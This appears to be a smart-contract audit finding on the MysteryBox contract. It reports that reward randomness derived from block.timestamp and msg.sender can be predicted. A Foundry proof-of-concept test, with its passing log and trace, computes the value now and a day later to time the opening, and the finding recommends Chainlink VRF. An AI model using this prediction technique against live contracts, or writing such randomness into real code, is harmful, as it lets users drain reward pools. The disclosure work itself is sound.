Relevant GitHub Links
https://github.com/Cyfrin/2024-09-mystery-box/blob/main/src/MysteryBox.sol#L47
Summary
The random value can be guessed by the user before opening the box therefore knowing in which moment is better to open it to maximize the rewards
Vulnerability Details
The random value used can be calculated by the user in advance because is based only on the `block.timestamp` together with the address of the `msg.sender` who want to open the box
Impact
POC:
function test_randomness() public {
vm.deal(user1, 1 ether);
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
console.log("Before Open:", mysteryBox.boxesOwned(user1));
uint256 start= block.timestamp;
uint256 randomValue = uint256(keccak256(abi.encodePacked(start, msg.sender))) % 100;
console.log("random value at this moment:", randomValue);
uint256 start2 = block.timestamp+1 days;
vm.warp(start2);
uint256 randomValue2 = uint256(keccak256(abi.encodePacked(start2, msg.sender))) % 100;
console.log("random value after 1 day:", randomValue2);
assertTrue(randomValue>randomValue2, "better to open the box tomorrow");
}
[PASS] test_randomness() (gas: 49749)
Logs:
Reward Pool Length: 4
Before Open: 1
random value at this moment: 91
random value after 1 day: 3
Traces:
[49749] MysteryBoxTest::test_randomness()
├─ [0] VM::deal(0x0000000000000000000000000000000000000001, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
│ └─ ← [Return]
├─ [24580] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [608] MysteryBox::boxesOwned(0x0000000000000000000000000000000000000001) [staticcall]
│ └─ ← [Return] 1
├─ [0] console::log("Before Open:", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("random value at this moment:", 91) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::warp(86401 [8.64e4])
│ └─ ← [Return]
├─ [0] console::log("random value after 1 day:", 3) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertTrue(true, "better to open the box tomorrow") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.82ms (212.26µs CPU time)
Ran 1 test suite in 9.57ms (1.82ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manual review, Foundry
Recommendations
Use as source of randomness the ChainlinkVRF (https://chain.link/vrf)